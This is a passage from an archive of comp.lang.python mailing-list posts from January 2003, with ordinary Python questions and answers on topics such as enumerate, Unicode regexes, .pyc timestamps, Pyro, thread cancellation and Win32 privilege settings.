     looking_for = ("ERR", "err", "FAIL")
     for line in fh:
         words = line.split()
         if words and words[0] in looking_for:
             finishFound = 1
             break
      ...

if __name__ == "__main__":
   main(sys.stdin)

					Andrew
					dalke at dalkescientific.com




From BPettersen at NAREX.com  Fri Jan  3 11:04:35 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Fri, 3 Jan 2003 09:04:35 -0700
Subject: Distributing Python apps
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE52@admin56.narex.com>

> From: Norman Skrzypinski [mailto:zypin at sympatico.ca] 
> 
> Hi, all.
> 
> I'm a retired mainframer.  I've designed several financial 
> software applications and I'm looking around for a suitable 
> language to use to code it.
> 
> I've spent the last couple of months investigating Visual 
> Basic, Visual C++, Euphoria, Python and Perl.  I like Python, 
> but I'm put off by the pain-in-the-rear methods of creating 
> standalone Python applications.  Isn't this a serious 
> shortcoming that should receive a lot of immediate attention? 
> Is there a developer-friendly builder-installer in the works?

It might be useful for us to know what you think the shortcomings are of
Distutils, py2exe, and Installer...

-- bjorn




From gerrit at nl.linux.org  Mon Jan 13 11:57:32 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Mon, 13 Jan 2003 17:57:32 +0100
Subject: slow loop?
In-Reply-To: <1964c4d7.0301130842.2f693958@posting.google.com>
References: <1964c4d7.0301130842.2f693958@posting.google.com>
Message-ID: <20030113165732.GB2537@nl.linux.org>

Brian Kranson schreef op maandag 13 januari om 17:47:03 +0000:
>                 if character == '"':
>                         None

This one is not about the speed, but you should use 'pass' here:

http://www.python.org/dev/doc/devel/tut/node6.html#SECTION006500000000000000000
http://www.python.org/dev/doc/devel/ref/pass.html#l2h-327

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From DennisR at dair.com  Sat Jan 18 16:47:04 2003
From: DennisR at dair.com (Dennis Reinhardt)
Date: Sat, 18 Jan 2003 21:47:04 GMT
Subject: open an html string in a browser?
References: <v2j7tdai7bk9a9@corp.supernews.com>
Message-ID: <sXjW9.126$lE7.20810881@newssvr17.news.prodigy.com>

> The reason is that zipfile.read('myfile.html') returns a string,
containing
> the contents of the file. However, Webbrowser requires a URL (in this case
> the name of an html file).

You *could* implement a very simple http server.  the server returns the
string when requested by browser.  The following command (among others)
launches browser:
        os.startfile("http://localhost")

You would need port 80 open locally or attach to some other port and
identify same in URL..
--

Dennis Reinhardt

http://www.dair.com





From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Fri Jan 24 09:30:09 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Fri, 24 Jan 2003 15:30:09 +0100
Subject: Something like asynchronous XML-RPC possible?
In-Reply-To: <cb035744.0301240604.6e5295b2@posting.google.com>
References: <cb035744.0301240308.25034fed@posting.google.com> <3e31281c$0$49102$e4fe514c@news.xs4all.nl> <cb035744.0301240604.6e5295b2@posting.google.com>
Message-ID: <3e314c7e$0$49100$e4fe514c@news.xs4all.nl>

Will Stuyvesant wrote:

> I am not really tied to XML-RPC, but synchronous XML-RPC gives me the
> transparancy to write:
> 
>   r = remote_process(url, port, ...)
>   result = r.operation(params)
> 
> so I can use r just like any other class instance object.

That is also what Pyro provides. Just call the object as it were
a local class instance, and your calls (and attribute lookups!) are
transparantly remoted to the real object on the other machine.

At least check out what Pyro provides, and see if you can benefit.
http://pyro.sourceforge.net/#features


> What I want to do now is::
> 
>   r = remote_event_handler(url, port, ...)
>   r.sendEvent(event)  # this statement has realtime constraints
>                       # note there is no waiting for return values

If you use Pyro's event service, you can do exactly that.
Also, it supports a publish-subscribe mechanism so you have full
decoupled publishers and subscribers (on topics, or topic patterns).

You could also just flag the required method "OneWay" and then
Pyro will not wait for an answer to come back from the method call.

This is all asynchronous, implemented on TCP.

Like Martin pointed out, you can build asynchronous communication
using TCP. UDP is not strictly necessary. Also it's perfectly possible
to use UDP as a basis for /synchronous/ communication. It all depends
on how you design your protocol.

> I *know* I am not tied to UDP but to convince my boss I would have to
> use UDP since he knows that is asynchronous.  Otherwise I would have
See above.

> to convince him that what I am doing is also okay.  Using UDP would
> save me from lengthly explanations and discussions.  I can foresee not
> being able to convince them that the "components" I build have an
> asynchronous semantics unless they communicate via UDP.  You know
> bosses...
> 
> "Sounds interesting, but why don't you just use UDP like we asked you
> to".

"because UDP is not strictly necessary for asynchronous communication,
and TCP guarantees us the *delivery* of the message. The processing
is done asynchronously".


Irmen de Jong




From Ragu.Bharadwaj at amphoracorp.com  Wed Jan 29 19:02:02 2003
From: Ragu.Bharadwaj at amphoracorp.com (Ragu Bharadwaj)
Date: 29 Jan 2003 16:02:02 -0800
Subject: int('0.0') throws an exception
Message-ID: <37bc2c.0301291602.7f6c6c4f@posting.google.com>

Why is it that
int('0') and int(0.0) are OK but int('0.0') throws an Exception?

cheers
-Ragu



From jbperez808 at yahoo.com  Thu Jan 16 18:46:32 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 16 Jan 2003 15:46:32 -0800
Subject: iterating in reverse
Message-ID: <f57664b9.0301161546.37c85159@posting.google.com>

First of all, many thanks to all the people in the list
who have taken the time to respond to my earlier 
questions with excellent answers. Now on to the
problem at hand...

A list's contents are ordered such that:

>>> x=[1,2,3,4,5]

>>> for i in x:
      print i

will always print x's contents in the
same sequence.  Is there an elegant and
efficient way to iterate through x in
reverse without having to create a reversed
copy of it (i.e. y=x[:]; y.reverse())?



From sschwarzer at sschwarzer.net  Sun Jan  5 17:37:00 2003
From: sschwarzer at sschwarzer.net (Stefan Schwarzer)
Date: Sun, 05 Jan 2003 23:37:00 +0100
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <m3isx76i7j.fsf@wilma.local> <3E1599DF.F870DF68@engcorp.com>
Message-ID: <3E18B38C.8030807@sschwarzer.net>

Hello Peter

Peter Hansen wrote:
 > Harry George wrote:
 >> I've trained up a dozen or so newbies on python over the last few
 >> years.  I always offer them the option of their favorite editor.  We
 >> get some vim, emacs, nedit, notepad, idle, jot, and others I can't
 >> remember.  But when it gets serious, as in XP sessions (two people on
 >> one keyboard), the emacs guys are far more productive.  As far as I
 >> can tell, the vim guys are faster keystroke-by-keystroke, but the
 >> emacs guys are more productive overall.  The notepad guys weren't
 >> productive enough to be a fair sampling of the editor itself (they
 >> weren't really programmers).  I haven't seen enough experienced idle
 >> or scintilla people to have an opinion there.
 >
 > To avoid interpreting your comments as pure mysticism, I would need
 > to know specifically what features you find to be "far more
 > productive" with emacs.
  >
 > So what is it?  I really can't believe (yet) that a different set
 > of keyboard bindings and a macro language I wouldn't use on a regular
 > basis would lead to a really measurable performance increase.
 > (And let me say that a 10% boost is not measurable, while a 50% one
 > might be.)

The reason for the high productivity _might_ be that a relatively large
proportion of highly-productive people tends to use emacs. This is
slightly different from assuming that those people are more productive
_because_ they use emacs.

Stefan




From johnroth at ameritech.net  Sat Jan 11 15:51:49 2003
From: johnroth at ameritech.net (John Roth)
Date: Sat, 11 Jan 2003 15:51:49 -0500
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <mailman.1042257199.7572.python-list@python.org> <%0TT9.121156$Hs2.11453314@kent.svc.tds.net> <v208b839c0990d@news.supernews.com> <xJZT9.121193$Hs2.11495249@kent.svc.tds.net>
Message-ID: <v210trgcq5gdf1@news.supernews.com>

"Edward K. Ream" <edream at tds.net> wrote in message
news:xJZT9.121193$Hs2.11495249 at kent.svc.tds.net...
> > The actual proof is in Java runtimes. They all seem to use JIT
> > compilers,
> > and they wind up being quite effective at speeding up the pig.
>
> If JIT's are so effective, why are the swing classes so slow?

Think of how slow they'd be without the JIT compilers! After all,
they're doing in Java what any sane package does in C with
assembler assists.

John Roth
>
> Edward
> --------------------------------------------------------------------
> Edward K. Ream   email:  edream at tds.net
> Leo: Literate Editor with Outlines
> Leo: http://personalpages.tds.net/~edream/front.html
> --------------------------------------------------------------------
>
>





From DennisR at dair.com  Thu Jan 16 00:48:17 2003
From: DennisR at dair.com (Dennis Reinhardt)
Date: Thu, 16 Jan 2003 05:48:17 GMT
Subject: Is PY patching a problem (esp. on Windows)
Message-ID: <BIrV9.227$Td6.107695248@newssvr13.news.prodigy.com>

If I understand correctly , Python looks only at the file timestamp to
determine whether to re-compile a PY file to create a PYC file.  If so, what
prevents the following scenario:

Feb. 2, I release a complete embedded Python hosted program
Feb 10, I issue a zipped PY patch file
Feb 13 (a bad day) the user installs and runs the Feb 2 release.  The Feb 10
patch is applied subsequently.

It looks to me on Feb 13 that the date of the PY file from the Feb 2 release
is Feb 2 and the date of the created PYC is Feb 13.  Now the patch is
applied and the PY file date changes from Feb. 2 to Feb 10.  ... but the
date of the PYC is later and so it does not get changed.  The PYC file is
thus out of date.

On Windows, unzipping a file does not change the file creation date.  This
scenario may not be a problem under Unix because the PY patch file will
carry the timestamp of when it was copied, not when it was created.

I understand the workaround of including a PYC file in the Feb 10 patch file
(doubling the download size).  I am writing here to see if this is a non-bug
because I am overlooking something, if it is a bug, or there is another
solution already in place.  One thing I wonder about and think would be
useful is if there is a way for a program or running option to suppress
generating the PYC file in the first place.
--

Dennis Reinhardt

http://www.dair.com





From andrew-pythonlist at puzzling.org  Fri Jan 31 09:04:13 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Sat, 1 Feb 2003 01:04:13 +1100
Subject: getting an index in a for loop
In-Reply-To: <a865f0e4.0301310543.7aa8d1a4@posting.google.com>
References: <a865f0e4.0301310543.7aa8d1a4@posting.google.com>
Message-ID: <20030131140413.GC15646@frobozz.local>

On Fri, Jan 31, 2003 at 05:43:22AM -0800, Simon Bunker wrote:
> I am iterating over a string and getting back each letter no problem.
> eg.
> 
> >>> mystring = "abcdefg"
> >>> for char in mystring:
> ...     print char
> ... 
> a
> b
> c
> d
> e
> f
> g
> 
> which is fine, but is there any way of finding out the index into the
> string we
> are referencing? Or do I have to set up a temporary counter and
> increment it in the loop each time?
> 
> I just have a feeling that Python should be cleverer than that - is
> it?

In Python 2.3 (which is still in alpha):

    >>> for index, char in enumerate('abcdefg'):
    ...     print index, char
    ... 
    0 a
    1 b
    2 c
    3 d
    4 e
    5 f
    6 g

Otherwise in Python 2.0 or later:
    
    >>> s = 'abcdefg'                   
    >>> for index, char in zip(range(len(s)), s):
    ...     print index, char
    ... 
    0 a
    1 b
    2 c
    3 d
    4 e
    5 f
    6 g

-Andrew.





From skip at pobox.com  Wed Jan 15 20:18:17 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 15 Jan 2003 19:18:17 -0600
Subject: FW: Switch statements again
In-Reply-To: <1042672900.3e25ed04a5f1a@www.progoth.com>
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com>
        <1042672900.3e25ed04a5f1a@www.progoth.com>
Message-ID: <15910.2137.831260.707032@montanaro.dyndns.org>

    >> If/elif/else remains the most common method.  If Python ever gains
    >> something like a switch statement you can bet the farm it won't have
    >> a "fall thru" feature though, so the way you've coded your C switch
    >> statement wouldn't work.

    Steven> but the absolute /only/ reason you'd use a switch over an if
    Steven> (besides looking better) is fall through.

Well, there is the efficiency aspect.  Take a look at eval_frame in Python's
ceval.c.  It's main switch statement has 109 case labels.  Since switch is
implemented as essentially a computed goto, you can get to any branch in the
same amount of time.  With if/then/else you'd have to be very careful to get
your options in the right order.

Skip




From pyth at devel.trillke.net  Tue Jan 14 19:12:54 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Wed, 15 Jan 2003 01:12:54 +0100
Subject: re module & problem with utf-8
In-Reply-To: <re792v4c5id95lj4e3hjakg9vr22e3cvri@4ax.com>; from webmaster@watchtowerDOTorg.pl.trillke.net on Wed, Jan 15, 2003 at 12:38:03AM +0100
References: <re792v4c5id95lj4e3hjakg9vr22e3cvri@4ax.com>
Message-ID: <20030115011254.G349@prim.han.de>

Jaros?aw Zabie??o wrote:
> I found, Python 2.2 has big problems with utf-8 characters in re
> module. Look, what stupid results it generates.
> 
> First, I create example string with some cp1250 characters separated
> with a space:
> 
> >>> s = '? ? ? ? ? ? ? ? ?'
> >>> s
> '\xb9 \xe6 \xea \xb3 \xf1 \xf3 \x9c \xbf \x9f'
> 
> Nex, I convert it to utf-8 string:
> 
> >>> u = unicode(s, 'cp1250').encode('utf-8')
> >>> u
> '\xc4\x85 \xc4\x87 \xc4\x99 \xc5\x82 \xc5\x84 \xc3\xb3 \xc5\x9b
> \xc5\xbc \xc5\xba'
> 
> Now, I try to extract my separated characters:
> 
> >>> re.compile(r'(\w)', re.U).findall(u)
> ['\xc4', '\xc4', '\xc4', '\xc5', '\xc5', '\xc3', '\xb3', '\xc5',
> '\xc5', '\xbc', '\xc5', '\xba']
> 
> Failed! Python did not understand, that it is utf-8 string although I
> set up re.U flag. :(

I don't think it's python which failed.

UTF8 is an encoding (that's why you call the 'encode' method
on an unicode object to get it).  cp1250 is another encoding 
of unicode.  If you pass the 're.UNICODE' flag to the re-module than
you should work with unicode objects, e.g.

>>> u = unicode(s, 'cp1250')
>>> u
u'\u0105 \u0107 \u0119 \u0142 \u0144 \xf3 \u015b \u017c \u017a'
>>> re.compile(r'(\w)', re.U).findall(u)
[u'\u0105', u'\u0107', u'\u0119', u'\u0142', u'\u0144', u'\xf3',
u'\u015b', u'\u017c', u'\u017a']

which is perfectly sensible. 

>>> " ".join([x.encode('cp1250') for x in _])
'\xb9 \xe6 \xea \xb3 \xf1 \xf3 \x9c \xbf \x9f'

and voila, you have your cp1250-encoded string back.

> Failed again! It seems, re module is buggy. It does not extract
> correctly utf-8 characters. Bad news. :(

Don't you have the slightest doubt that you might be wrong
instead of an important module beeing fundamentally broken? 

regards,

    holger




From clspence at one.net  Wed Jan 15 19:54:11 2003
From: clspence at one.net (Chris Spencer)
Date: 15 Jan 2003 18:54:11 -0600
Subject: Interesting problem comparing strings with integer values...
References: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com> <9SmV9.1213$zH5.338@nwrddc03.gnilink.net>
Message-ID: <jpub2v0qocnj6rachkmtmt0msqgmhkb7br@4ax.com>

As I mentioned in my most recent response, these strings are NOT being compared
in the Python interpreter, but by the SQL engine on a database, so all the
subclassing in the world won't help me here.

And though I sometimes don't agree with my boss on design issues, I have to say
that this isn't one of those times.  We have very clear design constraints which
REQUIRE us to store strings, integers, floats, dates/times, all in string format
in TEXT blobs in the database.

Chris.

On Thu, 16 Jan 2003 00:17:09 GMT, Carl Banks <imbosol at vt.edu> wrote:

>Chris Spencer wrote:
>>        Due to certain design constraints, I must be able to store
>> both integers and floating point numbers as strings.  These strings
>> must be able to be compared correctly, so things like: "999"<"3432"
>> are not possible.
>> 
>>        One option we thought of was padding the strings with zeros,
>> so things like: "00000999"<"00003432" would work.  This seems a bit
>> hack-y to me.  I was wondering if anyone has a more elegant solution
>> to the problem?
>
>1. Go back to your client/boss and tell him/her that his/her design
>   contraint sucks because it is counterproductive (politely).
>
>2. Use Perl.  (That's probably what your cognitive dissonant
>   client/boss is trying to make you do anyways.)
>
>3. Subclass str in Python 2.2 and above.  Redefine __cmp__ to
>   compare strings numerically, and probably you should redefine
>   __init__ to enforce an invariant that the string must hold a
>   numerical value.
>
>4. Instead of using operators, define some functions to do string
>   comparisons for you.




From fama1979 at email.it  Wed Jan 22 10:07:03 2003
From: fama1979 at email.it (fama1979)
Date: Wed, 22 Jan 2003 15:07:03 GMT
Subject: tray icon in Windows
References: <xIvX9.64229$0v.1962573@news1.tin.it> <slrnb2t5eu.14o.gerhard.haering@haering.opus-gmbh.net>
Message-ID: <rsyX9.65288$0v.1984276@news1.tin.it>

thank you

have a nice day





From stuart at bmsi.com  Tue Jan 14 10:39:10 2003
From: stuart at bmsi.com (Stuart D. Gathman)
Date: Tue, 14 Jan 2003 15:39:10 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <mailman.1042312221.11913.python-list@python.org> <e10U9.122577$Hs2.11513225@kent.svc.tds.net>
Message-ID: <yaWU9.63868$t06.3166521@news2.east.cox.net>

On Sat, 11 Jan 2003 16:29:46 -0500, Edward K. Ream wrote:

> - a detailed overview of the design of the GIT - a detailed overview of
> the actual code of the GIT - detailed examples of how to speed up the
> interpreter, with real code examples
> - as many real-world statistics as possible - a discussion of the
> limitations of the technique, if any - anything else that would help us
> understand how and why the optimizations are effective.

The primary limitation is memory use.  All those case optimized versions
of functions in native code eat memory.  Based on results of similar
projects in Smalltalk, LISP, and Java, I expect Python in Python to have
comparable speed to CPython - but use more memory.  The Python
version of the Python VM will be much easier to modify for experimental
language features, but harder to port to new architectures (since the C
compiler won't be doing most of the porting work for you).

If you haven't already, take a look at the Java VM written in Java:

http://www.research.ibm.com/jalapeno/

-- 
	      Stuart D. Gathman <stuart at bmsi.com>
Business Management Systems Inc.  Phone: 703 591-0911 Fax: 703 591-6154
"Confutatis maledictis, flamis acribus addictis" - background song for
a Microsoft sponsored "Where do you want to go from here?" commercial.



From skip at pobox.com  Fri Jan 24 10:58:05 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 24 Jan 2003 09:58:05 -0600
Subject: killing thread ?
In-Reply-To: <7x3cni1sqp.fsf@ruckus.brouhaha.com>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de>
        <mailman.1043410542.25830.python-list@python.org>
        <b0rhl7$112v7d$2@hades.rz.uni-sb.de>
        <b0rkdb$g9l$01$1@news.t-online.com>
        <7x3cni1sqp.fsf@ruckus.brouhaha.com>
Message-ID: <15921.25229.732458.249939@montanaro.dyndns.org>

    >> You lose. There is no way to cancel a thread, period.

    Paul> Is there some inherent reason for that?  

Not all threads packages on which Python runs implement the desired
functionality.  This topic has come up before, and the answer has always
been the same.  Here are some references:

    http://mail.python.org/pipermail/python-dev/2001-May/014980.html
    http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=UTF-8&th=dc349060ffdf6b24&seekm=a5ld2m%24554%241%40panix2.panix.com&frame=off
    http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=UTF-8&th=15e0381c34730afc&rnum=4

Skip




From cnetzer at mail.arc.nasa.gov  Thu Jan 30 00:09:11 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: 29 Jan 2003 21:09:11 -0800
Subject: trouble with Pmw.Color.changecolor
In-Reply-To: <6af33541.0301292005.46d7e562@posting.google.com>
References: <6af33541.0301292005.46d7e562@posting.google.com>
Message-ID: <1043903350.8941.5.camel@sayge.arc.nasa.gov>

On Wed, 2003-01-29 at 20:05, Mike Hearne wrote:
> Hi - According to the documentation, the following should work:
> 
> >>> from Tkinter import *
> >>> import Pmw
> >>> root = Tk()
> >>> st = Pmw.ScrolledText(root,hull_width=200,hull_height=200)
> >>> st.pack()
> >>> hull = st.component('hull')
> >>> Pmw.Color.changecolor(hull,background='black',foreground='green')
> 
> When I run this (RedHat Linux 8.0, Python 2.2.1, Pmw 1.1), I get a
> green foreground color, but my background color is still white.

On the same configuration, it works for me.  It might be some crazy
XWindows problem (default background color, or some wierd thing).  Can
you try testing it elsewhere?

What happens if you set the background color of a Frame just using Tk
(w/o Pmw)?

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)






From simon at rendermania.com  Sat Jan  4 09:01:31 2003
From: simon at rendermania.com (Simon Bunker)
Date: Sat, 4 Jan 2003 14:01:31 -0000
Subject: getting cross platform system information
References: <av4v3j$nhk$1@newsg1.svr.pol.co.uk> <slrnb1c0m6.3kp.gerhard.haering@lilith.my-fqdn.de> <v1c2ppk18asc98@corp.supernews.com>
Message-ID: <av6p9e$ap4$1@news6.svr.pol.co.uk>

by RAM usage I mean total free memory - eg what free gives you under Linux.
Unix/Linux isn't really the problem, but Windows is as I don't know any
win32 programming.

Simon
--
http://www.rendermania.com/

"Cameron Laird" <claird at lairds.com> wrote in message
news:v1c2ppk18asc98 at corp.supernews.com...
> In article <slrnb1c0m6.3kp.gerhard.haering at lilith.my-fqdn.de>,
> Gerhard H?ring  <gerhard.haering at gmx.de> wrote:
> >Simon Bunker wrote:
> >> Does anyone know how to get processor load, RAM usage and disk usage on
> >> linux/unix and Windows?
> >
> >I'll answer for Unix:
> >
> >processor load =>       uptime
> >disk usage =>           df
> >
> >RAM usage: I don't believe you can do this portably on Unix. On Linux,
> >you can evaluate the output of 'free' or read /proc/meminfo directly
> >(with commands.getoutput or os.popen).
> >
> >For Windows, you'll probably want to download the win32 extensions and
> >look what goodies there are in the win32api module.
> .
> .
> .
> We've covered these before in c.l.p; valuable information
> is in the archives.
>
> Most troublesome is "memory usage", which is not a portable
> concept at all, let alone one implemented with portable
> access.  In fact, what *do* you mean by "memory usage"?  Is
> that per process?  Or are you asking how much RAM the host
> recognizes?  Or ...?
> --
>
> Cameron Laird <Cameron at Lairds.com>
> Business:  http://www.Phaseit.net
> Personal:  http://phaseit.net/claird/home.html





From none  Tue Jan 21 17:43:32 2003
From: none (Mike Thompson)
Date: Wed, 22 Jan 2003 09:43:32 +1100
Subject: ZEO/wxPython
References: <3e2ce16e$0$7816$afc38c87@news.optusnet.com.au> <v2rc11pjt9bn3e@corp.supernews.com>
Message-ID: <3e2dcd18$0$7811$afc38c87@news.optusnet.com.au>

"Troy Melhase" <troy at gci.net> wrote in message
news:v2rc11pjt9bn3e at corp.supernews.com...
> When you say "a ZEO client using wxPython" I assume you mean that you want a
> wx app that uses ZEO to load and save data.  If that assumption isn't
> correct, please let me know.

Yep, that's it. A wxPython application using ZEO to serve its ZODB database.

>
> That said, I have a wxPython app that uses ZEO, and haven't had any
> problems.  The only issue I've encountered is high CPU utilization when
> saving lots of data via ZEO.  I'm pretty sure that behavior is specific to
> my applications data and the methods I use to store them.

Did you "call the ClientStorage's sync() method periodically"  as suggested by
Jeremy elsewhere in this thread?  Any issues with this?

-Mike.





From judoscript at hotmail.com  Thu Jan  9 11:56:59 2003
From: judoscript at hotmail.com (James Huang)
Date: 9 Jan 2003 08:56:59 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com>
Message-ID: <52719db8.0301090856.35bd14fd@posting.google.com>

Don't want to upset too much (further) this list, so I created a
message in "comp.lang.misc" titled "Scripting and Scripting Languages"
and whoever cares can follow up there.

I don't post messages during working hours, and google posting is
slow.

I will still try to respond to the latest postings as much as possible
and you can carry them over to comp.lang.misc if you wish.

Good discussions. Thank you all and nice talking to you all!

-James



From gerrit at nl.linux.org  Sat Jan  4 08:19:25 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Sat, 4 Jan 2003 14:19:25 +0100
Subject: easier solution possible to find a stringpattern in a list?
In-Reply-To: <av6m3r$n5m$01$1@news.t-online.com>
References: <av6m3r$n5m$01$1@news.t-online.com>
Message-ID: <20030104131925.GA15901@nl.linux.org>

christof hoeke schreef op zaterdag  4 januari om 14:07:29 +0000:
> i have a list of filenames and want to know if there is one or more files
> with a given pattern in it.
> a bit similar to what glob.glob(pattern) is doing.

> is there already a function in the standard modules that can do something
> like this?

You are looking for module fnmatch:
>>> files = ["a.txt", "b.text", "c.txt", "txtfile.bz2"]
>>> import fnmatch
>>> fnmatch.filter(files, "*.txt")
['a.txt', 'c.txt']
>>> print "%d times in the list" % len(_)
2 times in the list

More info:
http://www.python.org/doc/2.3a1/lib/module-fnmatch.html

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From dglenn at charter.net  Thu Jan 16 19:07:00 2003
From: dglenn at charter.net (Doug Glenn)
Date: Thu, 16 Jan 2003 19:07:00 -0500
Subject: Warning! Newbie issue - Impersonating a user on Win32
In-Reply-To: <3e273aac_6@corp-goliath.newsgroups.com>
References: <mailman.1042650398.19724.python-list@python.org> <mailman.1042755331.3986.python-list@python.org> <3e273aac_6@corp-goliath.newsgroups.com>
Message-ID: <200301161907.00924.dglenn@charter.net>

On Thursday 16 January 2003 18:40, Roger Upole wrote:
> What error do you get when you try to adjust SE_TCB_NAME ?
> This is almost certainly what's getting you.  It shows up in the
> account rights editor as "Act as part of the operating system".  It's
> short for Trusted Computer Base if I recall correctly.
>           Roger

I listed the action that happened. It fails to set it, but there is not 
any error messages that occur with it. It just 'fails'.  I had 
originally run all of these without the Try: statement. I added that 
and the except:  in order to see what was taking and what was not 
taking.

Aside from relisting the code, I commented in the actions I got from 
each setting.

>     # These settings hit the 'fail' list from the try routine on the
>     #AdjustPrivileges function.
>     # ------------------------
>     #AdjustPrivilege(SE_AUDIT_NAME)
>     #AdjustPrivilege(SE_MACHINE_ACCOUNT_NAME)
>     #AdjustPrivilege(SE_TCB_NAME)
>     #AdjustPrivilege(SE_ASSIGNPRIMARYTOKEN_NAME)
>     #AdjustPrivilege(SE_LOCK_MEMORY_NAME)

Any possibility I can take a look at a dump from Secpol.msc on your 
system? Or should I send you mine to look over.  I do appreciate the 
help.

Also, do you have any domain policies being applied in this area? We 
area applying policies and the SE_TCB_NAME is one that is not there. I 
can set it via the MMC console, but it did not seem to make any 
difference. .... Hrrrm. Thats right, they are applied on login. I 
wonder what registry key that is and what I would have to write to 
enable it. Thoughts?

-----
Doug




From james.kew at btinternet.com  Wed Jan 15 03:37:22 2003
From: james.kew at btinternet.com (James Kew)
Date: Wed, 15 Jan 2003 08:37:22 -0000
Subject: portalocker in Win98
References: <fe35b211.0301140932.62d3d334@posting.google.com> <aydHLjAkCGJ+Ewoi@jessikat.demon.co.uk> <mailman.1042577366.19187.python-list@python.org> <d6mzv362.fsf@python.net>
Message-ID: <b036k3$l72q5$1@ID-71831.news.dfncis.de>

Thomas Heller wrote:
> The problem is that portalocker uses the functions LockFileEx and
> UnlockFileEx, which are documented in MSDN as only winNT/2000/XP. The
> functions LockFile and UnlockFile (are they exposed by win32all?) are
> also available on Win95/98/Me.

I suspect portalocker uses LockFileEx rather than LockFile as only
LockFileEx supports a blocking lock (ie, block until the lock becomes
available) and only LockFileEx supports shared/exclusive locking.

I have added a comment to the Python Cookbook entry for portalocker.

> But even they may not be needed, there's the little known msvcrt
> module included in standard Python, which also has a locking function.

Again, this doesn't support blocking locks -- the docs say it polls for a
lock 10 times at 1-second intervals before giving up. It also has the rather
odd property of locking for a range of bytes in the file starting from the
current file position.

I don't really know what Roundup's locking requirements are, so maybe this
is sufficient?

It'd be nice if Roundup could run on Win98, not least because it was my
Roundup installation (on NT) that Vic saw, liked, and had evangelised at him
and it's a little embarassing that he now can't run it...

--
James Kew
james.kew at btinternet.com





From chezdique at yahoo.com  Thu Jan 30 14:18:27 2003
From: chezdique at yahoo.com (dique)
Date: 30 Jan 2003 11:18:27 -0800
Subject: pythonwin namespace
References: <mailman.1043928541.8302.python-list@python.org>
Message-ID: <c2c98495.0301301118.dc4596b@posting.google.com>

3) Ctrl+A, Delete, Enter

Mantovani Alberto <Alberto.Mantovani at bologna.marelli.it> wrote in message news:<mailman.1043928541.8302.python-list at python.org>...
> Hi,
> working with Pythonwin I've noted that if you launch a script a first time
> and then you modify and relaunch it, the script that goes in execution is
> always the first one that you launch. To execute the modify script you have
> to exit and to enter   from pythonwin. This could be annoying, so my
> question is:
> 
> 1) Is there some method or some script to avoid this? 
> I have found the manner to delete the module if it is imported with <import>
> but not if it is imported with <from xxx import yyy>.
> 
> 2) Is it possible to run automatically a my python script when I launch the
> pythonwin?
> If this was possible I could, at the start, to save all module imported in
> pythonwin (<modules.key()>) and when I want to clear the namespace to delete
> the new module imported
> 
> 3) Is it possible also to clear the screen of interpr. by some commands?
> best regards
> 
> Mantovani Alberto



From pan-newsreader at thomas-guettler.de  Mon Jan 20 12:52:17 2003
From: pan-newsreader at thomas-guettler.de (Thomas Guettler)
Date: Mon, 20 Jan 2003 18:52:17 +0100
Subject: Python, COM & Excel
References: <6af8e801.0301172302.56c19659@posting.google.com>
Message-ID: <pan.2003.01.20.18.52.17.382478.698@thomas-guettler.de>

On Sat, 18 Jan 2003 08:02:51 +0100, DP wrote:

> Hello all,
> 
> I'm doing some work with Python, & COM integration (win32all v. 1.52
> installed with Pthon 2.2.2). I'm having a difficult time getting
> started. Some of the functions/objects I expect will work don't, others
> work in unexpected ways. I'd very much appreciate pointers, sample
> scripts, etc. from individuals who have had better luck with Python &
> Excel integration. I'm working primarily with Excel 2000 and MS Word. I
> hope to be able to figure things out myself later, pointers will be
> appreciated.

There is a different way to combine MS-Office and Python: XML.
Write yourself a small SAX parser and change the things you want to
change and then write it back to XML. 

 thomas

-- 
Thomas Guettler <guettli at thomas-guettler.de>
http://www.thomas-guettler.de



From adalke at mindspring.com  Sat Jan  4 14:46:37 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Sat, 04 Jan 2003 12:46:37 -0700
Subject: Applications/examples of some advanced Py features, please !
In-Reply-To: <5a969143.0301040712.4cd2ad10@posting.google.com>
References: <5a969143.0301040712.4cd2ad10@posting.google.com>
Message-ID: <av7e51$a79$1@slb0.atl.mindspring.net>

Az Tech wrote:
> 1. lambda
> (I understand the basic usage - simple examples - but I'm not able to
> 'wrap my head around' how to use it a way that will be of benefit.
> Pls. see below for more on this.
> 
